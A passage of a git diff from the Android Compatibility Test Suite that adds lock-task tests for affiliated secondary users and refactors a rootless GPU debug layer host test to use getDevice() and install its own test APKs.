@@ -1738,8 +1726,7 @@ public class ManagedProfileTest extends BaseDevicePolicyTest {
"testAddTestAccount", mProfileUserId);
// Install directory provider to both primary and managed profile
- installAppAsUser(DIRECTORY_PROVIDER_APK, mProfileUserId);
- installAppAsUser(DIRECTORY_PROVIDER_APK, mParentUserId);
+ installAppAsUser(DIRECTORY_PROVIDER_APK, USER_ALL);
setDirectoryPrefix(PRIMARY_DIRECTORY_PREFIX, mParentUserId);
setDirectoryPrefix(MANAGED_DIRECTORY_PREFIX, mProfileUserId);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
index 1dc783e44df..6f3c07cb0c9 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
@@ -16,16 +16,11 @@
package com.android.cts.devicepolicy;
-import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
-
import android.stats.devicepolicy.EventId;
import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
-import java.io.File;
import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collections;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
@@ -46,10 +41,9 @@ public class MixedDeviceOwnerTest extends DeviceAndProfileOwnerTest {
mUserId = mPrimaryUserId;
installAppAsUser(DEVICE_ADMIN_APK, mUserId);
- if (!setDeviceOwner(
- DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId,
- /*expectFailure*/ false)) {
- removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId);
+ if (!setDeviceOwner(DEVICE_ADMIN_COMPONENT_FLATTENED, mUserId, /*expectFailure*/
+ false)) {
+ removeAdmin(DEVICE_ADMIN_COMPONENT_FLATTENED, mUserId);
getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
fail("Failed to set device owner");
}
@@ -60,11 +54,39 @@ public class MixedDeviceOwnerTest extends DeviceAndProfileOwnerTest {
protected void tearDown() throws Exception {
if (mHasFeature) {
assertTrue("Failed to remove device owner",
- removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId));
+ removeAdmin(DEVICE_ADMIN_COMPONENT_FLATTENED, mUserId));
}
super.tearDown();
}
+ public void testLockTask_unaffiliatedUser() throws Exception {
+ if (!mHasFeature || !canCreateAdditionalUsers(1)) {
+ return;
+ }
+
+ final int userId = createSecondaryUserAsProfileOwner();
+ runDeviceTestsAsUser(
+ DEVICE_ADMIN_PKG, ".AffiliationTest",
+ "testLockTaskMethodsThrowExceptionIfUnaffiliated", userId);
+
+ setUserAsAffiliatedUserToPrimary(userId);
+ runDeviceTestsAsUser(
+ DEVICE_ADMIN_PKG,
+ ".AffiliationTest",
+ "testSetLockTaskPackagesClearedIfUserBecomesUnaffiliated",
+ userId);
+ }
+
+ public void testLockTask_affiliatedSecondaryUser() throws Exception {
+ if (!mHasFeature || !canCreateAdditionalUsers(1)) {
+ return;
+ }
+ final int userId = createSecondaryUserAsProfileOwner();
+ switchToUser(userId);
+ setUserAsAffiliatedUserToPrimary(userId);
+ runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".LockTaskTest", userId);
+ }
+
public void testDelegatedCertInstallerDeviceIdAttestation() throws Exception {
if (!mHasFeature) {
return;
@@ -105,4 +127,26 @@ public class MixedDeviceOwnerTest extends DeviceAndProfileOwnerTest {
result.add(DELEGATION_NETWORK_LOGGING);
return result;
}
+
+ private int createSecondaryUserAsProfileOwner() throws Exception {
+ final int userId = createUser();
+ installAppAsUser(INTENT_RECEIVER_APK, userId);
+ installAppAsUser(DEVICE_ADMIN_APK, userId);
+ setProfileOwnerOrFail(DEVICE_ADMIN_COMPONENT_FLATTENED, userId);
+ return userId;
+ }
+
+ private void switchToUser(int userId) throws Exception {
+ switchUser(userId);
+ waitForBroadcastIdle();
+ wakeupAndDismissKeyguard();
+ }
+
+ private void setUserAsAffiliatedUserToPrimary(int userId) throws Exception {
+ // Setting the same affiliation ids on both users
+ runDeviceTestsAsUser(
+ DEVICE_ADMIN_PKG, ".AffiliationTest", "testSetAffiliationId1", mPrimaryUserId);
+ runDeviceTestsAsUser(
+ DEVICE_ADMIN_PKG, ".AffiliationTest", "testSetAffiliationId1", userId);
+ }
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
index 04178448978..3bc6a8fc074 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
@@ -46,11 +46,11 @@ public class MixedManagedProfileOwnerTest extends DeviceAndProfileOwnerTest {
private void createManagedProfile() throws Exception {
mUserId = createManagedProfile(mParentUserId);
switchUser(mParentUserId);
- startUser(mUserId);
+ startUserAndWait(mUserId);
installAppAsUser(DEVICE_ADMIN_APK, mUserId);
setProfileOwnerOrFail(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId);
- startUser(mUserId);
+ startUserAndWait(mUserId);
}
@Override
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java
index 47b35390862..7623b48b8c6 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java
@@ -41,11 +41,11 @@ public class MixedManagedProfileOwnerTestApi25 extends DeviceAndProfileOwnerTest
private void createManagedProfile() throws Exception {
mUserId = createManagedProfile(mParentUserId);
switchUser(mParentUserId);
- startUser(mUserId);
+ startUserAndWait(mUserId);
installAppAsUser(DEVICE_ADMIN_APK, mUserId);
setProfileOwnerOrFail(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId);
- startUser(mUserId);
+ startUserAndWait(mUserId);
}
@Override
diff --git a/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java b/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java
index f4362f0a6b9..6b5c6451606 100644
--- a/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java
+++ b/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java
@@ -18,6 +18,7 @@ package android.gputools.cts;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import com.android.tradefed.testtype.IDeviceTest;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
import java.util.Scanner;
@@ -31,24 +32,10 @@ import org.junit.runner.RunWith;
* Tests that exercise Rootless GPU Debug functionality supported by the loader.
*/
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CtsRootlessGpuDebugHostTest implements IDeviceTest {
+public class CtsRootlessGpuDebugHostTest extends BaseHostJUnit4Test implements IDeviceTest {
public static final String TAG = "RootlessGpuDebugDeviceActivity";
- /**
- * A reference to the device under test.
- */
- private ITestDevice mDevice;
-
- public void setDevice(ITestDevice device) {
- mDevice = device;
- }
-
- @Override
- public ITestDevice getDevice() {
- return mDevice;
- }
-
// This test ensures that the Vulkan and GLES loaders can use Settings to load layers
// from the base directory of debuggable applications. Is also tests several
// positive and negative scenarios we want to cover (listed below).
@@ -115,6 +102,10 @@ public class CtsRootlessGpuDebugHostTest implements IDeviceTest {
private static final String RELEASE_APP = "android.rootlessgpudebug.RELEASE.app";
private static final String LAYERS_APP = "android.rootlessgpudebug.LAYERS.app";
private static final String GLES_LAYERS_APP = "android.rootlessgpudebug.GLES_LAYERS.app";
+ private static final String DEBUG_APK = "CtsGpuToolsRootlessGpuDebugApp-DEBUG.apk";
+ private static final String RELEASE_APK = "CtsGpuToolsRootlessGpuDebugApp-RELEASE.apk";
+ private static final String LAYERS_APK = "CtsGpuToolsRootlessGpuDebugApp-LAYERS.apk";
+ private static final String GLES_LAYERS_APK = "CtsGpuToolsRootlessGpuDebugApp-GLES_LAYERS.apk";
private static final String GLES_LAYER_A = "glesLayerA";
private static final String GLES_LAYER_B = "glesLayerB";
private static final String GLES_LAYER_C = "glesLayerC";
@@ -139,14 +130,14 @@ public class CtsRootlessGpuDebugHostTest implements IDeviceTest {
*/
private String getTime() throws Exception {
// logcat will accept "MM-DD hh:mm:ss.mmm"
- return mDevice.executeShellCommand("date +\"%m-%d %H:%M:%S.%3N\"");
+ return getDevice().executeShellCommand("date +\"%m-%d %H:%M:%S.%3N\"");
}
/**
* Apply a setting and ensure it sticks before continuing
*/
private void applySetting(String setting, String value) throws Exception {
- mDevice.executeShellCommand("settings put global " + setting + " " + value);
+ getDevice().executeShellCommand("settings put global " + setting + " " + value);
long hostStartTime = System.currentTimeMillis();
while (((System.currentTimeMillis() - hostStartTime) < SETTING_APPLY_TIMEOUT_MS)) {
@@ -155,7 +146,7 @@ public class CtsRootlessGpuDebugHostTest implements IDeviceTest {
Thread.sleep(1000);
// Read it back, make sure it has applied
- String returnedValue = mDevice.executeShellCommand("settings get global " + setting);
+ String returnedValue = getDevice().executeShellCommand("settings get global " + setting);
if ((returnedValue != null) && (returnedValue.trim().equals(value))) {
return;
}
@@ -170,7 +161,7 @@ public class CtsRootlessGpuDebugHostTest implements IDeviceTest {
* Delete a setting and ensure it goes away before continuing
*/
private void deleteSetting(String setting) throws Exception {
- mDevice.executeShellCommand("shell settings delete global " + setting);
+ getDevice().executeShellCommand("shell settings delete global " + setting);
long hostStartTime = System.currentTimeMillis();
while (((System.currentTimeMillis() - hostStartTime) < SETTING_APPLY_TIMEOUT_MS)) {
@@ -179,7 +170,7 @@ public class CtsRootlessGpuDebugHostTest implements IDeviceTest {
Thread.sleep(1000);
// Read it back, make sure it is gone
- String returnedValue = mDevice.executeShellCommand("settings get global " + setting);
+ String returnedValue = getDevice().executeShellCommand("settings get global " + setting);
if ((returnedValue == null) ||
(returnedValue.trim().isEmpty()) ||
(returnedValue.trim().equals("null"))) {
@@ -198,16 +189,16 @@ public class CtsRootlessGpuDebugHostTest implements IDeviceTest {
private void setupLayer(String layer, String layerApp) throws Exception {
// We use the LAYERS apk to facilitate getting layers onto the device for mixing and matching
- String libPath = mDevice.executeAdbCommand("shell", "pm", "path", layerApp);
+ String libPath = getDevice().executeAdbCommand("shell", "pm", "path", layerApp);
libPath = libPath.replaceAll("package:", "");
libPath = libPath.replaceAll("base.apk", "");
libPath = removeWhitespace(libPath);
libPath += "lib/";
// Use find to get the .so so we can ignore ABI
- String layerPath = mDevice.executeAdbCommand("shell", "find", libPath + " -name " + layer);
+ String layerPath = getDevice().executeAdbCommand("shell", "find", libPath + " -name " + layer);
layerPath = removeWhitespace(layerPath);
- mDevice.executeAdbCommand("shell", "cp", layerPath + " /data/local/tmp");
+ getDevice().executeAdbCommand("shell", "cp", layerPath + " /data/local/tmp");
}
/**
@@ -245,7 +236,7 @@ public class CtsRootlessGpuDebugHostTest implements IDeviceTest {
// Pull the logcat since the app started, filter for tags
// This command should look something like this:
// adb logcat -d -t '03-27 21:35:05.392' -s "RootlessGpuDebugDeviceActivity,nullLayerC"
- String logcat = mDevice.executeShellCommand(
+ String logcat = getDevice().executeShellCommand(
"logcat -d " +
"-t '" + removeWhitespace(appStartTime) + "' " +
"-s \"" + tag + "\"");
@@ -278,28 +269,32 @@ public class CtsRootlessGpuDebugHostTest implements IDeviceTest {
*/
@After
public void cleanup() throws Exception {
- mDevice.executeAdbCommand("shell", "am", "force-stop", DEBUG_APP);
- mDevice.executeAdbCommand("shell", "am", "force-stop", RELEASE_APP);
- mDevice.executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + LAYER_A_LIB);
- mDevice.executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + LAYER_B_LIB);
- mDevice.executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + LAYER_C_LIB);
- mDevice.executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + GLES_LAYER_A_LIB);
- mDevice.executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + GLES_LAYER_B_LIB);
- mDevice.executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + GLES_LAYER_C_LIB);
- mDevice.executeAdbCommand("shell", "settings", "delete", "global", "enable_gpu_debug_layers");
- mDevice.executeAdbCommand("shell", "settings", "delete", "global", "gpu_debug_app");
- mDevice.executeAdbCommand("shell", "settings", "delete", "global", "gpu_debug_layers");
- mDevice.executeAdbCommand("shell", "settings", "delete", "global", "gpu_debug_layers_gles");
- mDevice.executeAdbCommand("shell", "settings", "delete", "global", "gpu_debug_layer_app");
- mDevice.executeAdbCommand("shell", "setprop", "debug.vulkan.layers", "\'\'");
- mDevice.executeAdbCommand("shell", "setprop", "debug.gles.layers", "\'\'");
+ getDevice().executeAdbCommand("shell", "am", "force-stop", DEBUG_APP);
+ getDevice().executeAdbCommand("shell", "am", "force-stop", RELEASE_APP);
+ getDevice().executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + LAYER_A_LIB);
+ getDevice().executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + LAYER_B_LIB);
+ getDevice().executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + LAYER_C_LIB);
+ getDevice().executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + GLES_LAYER_A_LIB);
+ getDevice().executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + GLES_LAYER_B_LIB);
+ getDevice().executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + GLES_LAYER_C_LIB);
+ getDevice().executeAdbCommand("shell", "settings", "delete", "global", "enable_gpu_debug_layers");
+ getDevice().executeAdbCommand("shell", "settings", "delete", "global", "gpu_debug_app");
+ getDevice().executeAdbCommand("shell", "settings", "delete", "global", "gpu_debug_layers");
+ getDevice().executeAdbCommand("shell", "settings", "delete", "global", "gpu_debug_layers_gles");
+ getDevice().executeAdbCommand("shell", "settings", "delete", "global", "gpu_debug_layer_app");
+ getDevice().executeAdbCommand("shell", "setprop", "debug.vulkan.layers", "\'\'");
+ getDevice().executeAdbCommand("shell", "setprop", "debug.gles.layers", "\'\'");
}
/**
- * Clean up before starting any tests
+ * Clean up before starting any tests, and ensure supporting packages are installed
*/
@Before
public void init() throws Exception {
+ installPackage(DEBUG_APK);
+ installPackage(RELEASE_APK);
+ installPackage(LAYERS_APK);
+ installPackage(GLES_LAYERS_APK);
if (!initialized) {
cleanup();
initialized = true;
@@ -324,17 +319,17 @@ public class CtsRootlessGpuDebugHostTest implements IDeviceTest {
// Copy them over to our DEBUG app
- mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
- "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+ getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
+ "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
"sh", "-c", "\'cat", ">", LAYER_A_LIB, ";", "chmod", "700", LAYER_A_LIB + "\'");
- mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_B_LIB, "|",
- "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+ getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_B_LIB, "|",
+ "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
"sh", "-c", "\'cat", ">", LAYER_B_LIB, ";", "chmod", "700", LAYER_B_LIB + "\'");
// Kick off our DEBUG app
String appStartTime = getTime();
- mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+ getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
// Check that both layers were loaded, in the correct order
String searchStringA = "nullCreateInstance called in " + LAYER_A;
@@ -364,13 +359,13 @@ public class CtsRootlessGpuDebugHostTest implements IDeviceTest {
setupLayer(LAYER_A_LIB, LAYERS_APP);
// Attempt to copy them over to our RELEASE app (this should fail)
- mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
- "run-as", RELEASE_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+ getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
+ "run-as", RELEASE_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
"sh", "-c", "\'cat", ">", LAYER_A_LIB, ";", "chmod", "700", LAYER_A_LIB + "\'", "||", "echo", "run-as", "failed");
// Kick off our RELEASE app
String appStartTime = getTime();
- mDevice.executeAdbCommand("shell", "am", "start", "-n", RELEASE_APP + "/" + ACTIVITY);
+ getDevice().executeAdbCommand("shell", "am", "start", "-n", RELEASE_APP + "/" + ACTIVITY);
// Ensure we don't load the layer in base dir
String searchStringA = LAYER_A_NAME + "loaded";
@@ -394,13 +389,13 @@ public class CtsRootlessGpuDebugHostTest implements IDeviceTest {
setupLayer(LAYER_A_LIB, LAYERS_APP);
// Copy it over to our DEBUG app
- mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
- "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+ getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
+ "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
"sh", "-c", "\'cat", ">", LAYER_A_LIB, ";", "chmod", "700", LAYER_A_LIB + "\'");
// Kick off our DEBUG app
String appStartTime = getTime();
- mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+ getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
// Ensure we don't load the layer in base dir
String searchStringA = LAYER_A_NAME + "loaded";
@@ -424,13 +419,13 @@ public class CtsRootlessGpuDebugHostTest implements IDeviceTest {
setupLayer(LAYER_A_LIB, LAYERS_APP);
// Copy it over to our DEBUG app
- mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
- "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+ getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
+ "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
"sh", "-c", "\'cat", ">", LAYER_A_LIB, ";", "chmod", "700", LAYER_A_LIB + "\'");
// Kick off our DEBUG app
String appStartTime = getTime();
- mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+ getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
// Ensure we don't load the layer in base dir
String searchStringA = LAYER_A_NAME + "loaded";
@@ -454,13 +449,13 @@ public class CtsRootlessGpuDebugHostTest implements IDeviceTest {
setupLayer(LAYER_A_LIB, LAYERS_APP);
// Copy it over to our DEBUG app
- mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
- "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+ getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
+ "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
"sh", "-c", "\'cat", ">", LAYER_A_LIB, ";", "chmod", "700", LAYER_A_LIB + "\'");
// Kick off our DEBUG app
String appStartTime = getTime();
- mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+ getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
// Ensure layerA is not loaded
String searchStringA = "nullCreateInstance called in " + LAYER_A;
@@ -474,19 +469,19 @@ public class CtsRootlessGpuDebugHostTest implements IDeviceTest {
@Test
public void testSystemPropertyEnableVulkan() throws Exception {
- // Set up layerA to be loaded, but not layerB or layerC
+ // Don't enable any layers via settings
applySetting("enable_gpu_debug_layers", "1");
applySetting("gpu_debug_app", RELEASE_APP);
deleteSetting("gpu_debug_layers");
// Enable layerC (which is packaged with the RELEASE app) with system properties
- mDevice.executeAdbCommand("shell", "setprop", "debug.vulkan.layers " + LAYER_C_NAME);
+ getDevice().executeAdbCommand("shell", "setprop", "debug.vulkan.layers " + LAYER_C_NAME);
// Kick off our RELEASE app
String appStartTime = getTime();
- mDevice.executeAdbCommand("shell", "am", "start", "-n", RELEASE_APP + "/" + ACTIVITY);
+ getDevice().executeAdbCommand("shell", "am", "start", "-n", RELEASE_APP + "/" + ACTIVITY);
- // Check that both layers were loaded, in the correct order
+ // Check that only layerC was loaded
String searchStringA = LAYER_A_NAME + "loaded";
LogScanResult resultA = scanLog(TAG + "," + LAYER_A, searchStringA, appStartTime);
Assert.assertFalse("LayerA was enumerated", resultA.found);
@@ -512,19 +507,19 @@ public class CtsRootlessGpuDebugHostTest implements IDeviceTest {
setupLayer(LAYER_B_LIB, LAYERS_APP);
// Copy them over to our DEBUG app
- mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
- "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+ getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
+ "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
"sh", "-c", "\'cat", ">", LAYER_A_LIB, ";", "chmod", "700", LAYER_A_LIB + "\'");
- mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_B_LIB, "|",
- "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+ getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_B_LIB, "|",
+ "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
"sh", "-c", "\'cat", ">", LAYER_B_LIB, ";", "chmod", "700", LAYER_B_LIB + "\'");
// Enable layerB with system properties
- mDevice.executeAdbCommand("shell", "setprop", "debug.vulkan.layers " + LAYER_B_NAME);
+ getDevice().executeAdbCommand("shell", "setprop", "debug.vulkan.layers " + LAYER_B_NAME);
// Kick off our DEBUG app
String appStartTime = getTime();
- mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+ getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
// Ensure only layerA is loaded
String searchStringA = "nullCreateInstance called in " + LAYER_A;
@@ -552,7 +547,7 @@ public class CtsRootlessGpuDebugHostTest implements IDeviceTest {
// Kick off our DEBUG app
String appStartTime = getTime();
- mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+ getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
// Check that our external layer was loaded
String searchStringC = "nullCreateInstance called in " + LAYER_C;
@@ -578,16 +573,16 @@ public class CtsRootlessGpuDebugHostTest implements IDeviceTest {
setupLayer(GLES_LAYER_B_LIB, GLES_LAYERS_APP);
// Copy them over to our DEBUG app
- mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|",
- "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+ getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|",
+ "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
"sh", "-c", "\'cat", ">", GLES_LAYER_A_LIB, ";", "chmod", "700", GLES_LAYER_A_LIB + "\'");
- mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_B_LIB, "|",
- "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+ getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_B_LIB, "|",
+ "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
"sh", "-c", "\'cat", ">", GLES_LAYER_B_LIB, ";", "chmod", "700", GLES_LAYER_B_LIB + "\'");
// Kick off our DEBUG app
String appStartTime = getTime();
- mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+ getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
// Check that both layers were loaded, in the correct order
String searchStringA = "glesLayer_eglChooseConfig called in " + GLES_LAYER_A;
@@ -618,12 +613,12 @@ public class CtsRootlessGpuDebugHostTest implements IDeviceTest {
setupLayer(GLES_LAYER_A_LIB, GLES_LAYERS_APP);
// Attempt to copy them over to our RELEASE app (this should fail)
- mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|", "run-as", RELEASE_APP,
+ getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|", "run-as", RELEASE_APP,
"sh", "-c", "\'cat", ">", GLES_LAYER_A_LIB, ";", "chmod", "700", GLES_LAYER_A_LIB + "\'", "||", "echo", "run-as", "failed");
// Kick off our RELEASE app
String appStartTime = getTime();
- mDevice.executeAdbCommand("shell", "am", "start", "-n", RELEASE_APP + "/" + ACTIVITY);
+ getDevice().executeAdbCommand("shell", "am", "start", "-n", RELEASE_APP + "/" + ACTIVITY);
// Ensure we don't load the layer in base dir
String searchStringA = GLES_LAYER_A + " loaded";
@@ -647,12 +642,12 @@ public class CtsRootlessGpuDebugHostTest implements IDeviceTest {
setupLayer(GLES_LAYER_A_LIB, GLES_LAYERS_APP);
// Copy it over to our DEBUG app
- mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|", "run-as", DEBUG_APP,
+ getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|", "run-as", DEBUG_APP,
"sh", "-c", "\'cat", ">", GLES_LAYER_A_LIB, ";", "chmod", "700", GLES_LAYER_A_LIB + "\'");
// Kick off our DEBUG app
String appStartTime = getTime();
- mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+ getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
// Ensure we don't load the layer in base dir
String searchStringA = GLES_LAYER_A + " loaded";
@@ -676,12 +671,12 @@ public class CtsRootlessGpuDebugHostTest implements IDeviceTest {
setupLayer(GLES_LAYER_A_LIB, GLES_LAYERS_APP);
// Copy it over to our DEBUG app
- mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|", "run-as", DEBUG_APP,
+ getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|", "run-as", DEBUG_APP,
"sh", "-c", "\'cat", ">", GLES_LAYER_A_LIB, ";", "chmod", "700", GLES_LAYER_A_LIB + "\'");
// Kick off our DEBUG app
String appStartTime = getTime();
- mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+ getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
// Ensure we don't load the layer in base dir
String searchStringA = GLES_LAYER_A + " loaded";
@@ -705,12 +700,12 @@ public class CtsRootlessGpuDebugHostTest implements IDeviceTest {
setupLayer(GLES_LAYER_A_LIB, GLES_LAYERS_APP);
// Copy it over to our DEBUG app
- mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|", "run-as", DEBUG_APP,
+ getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|", "run-as", DEBUG_APP,
"sh", "-c", "\'cat", ">", GLES_LAYER_A_LIB, ";", "chmod", "700", GLES_LAYER_A_LIB + "\'");
// Kick off our DEBUG app
String appStartTime = getTime();
- mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+ getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
// Ensure layerA is not loaded
String searchStringA = "glesLayer_eglChooseConfig called in " + GLES_LAYER_A;
@@ -730,11 +725,11 @@ public class CtsRootlessGpuDebugHostTest implements IDeviceTest {
deleteSetting("gpu_debug_layers_gles");
// Enable layerC (which is packaged with the RELEASE app) with system properties
- mDevice.executeAdbCommand("shell", "setprop", "debug.gles.layers " + GLES_LAYER_C_LIB);
+ getDevice().executeAdbCommand("shell", "setprop", "debug.gles.layers " + GLES_LAYER_C_LIB);
// Kick off our RELEASE app
String appStartTime = getTime();
- mDevice.executeAdbCommand("shell", "am", "start", "-n", RELEASE_APP + "/" + ACTIVITY);
+ getDevice().executeAdbCommand("shell", "am", "start", "-n", RELEASE_APP + "/" + ACTIVITY);
// Check that both layers were loaded, in the correct order
String searchStringA = GLES_LAYER_A + "loaded";
@@ -762,19 +757,19 @@ public class CtsRootlessGpuDebugHostTest implements IDeviceTest {
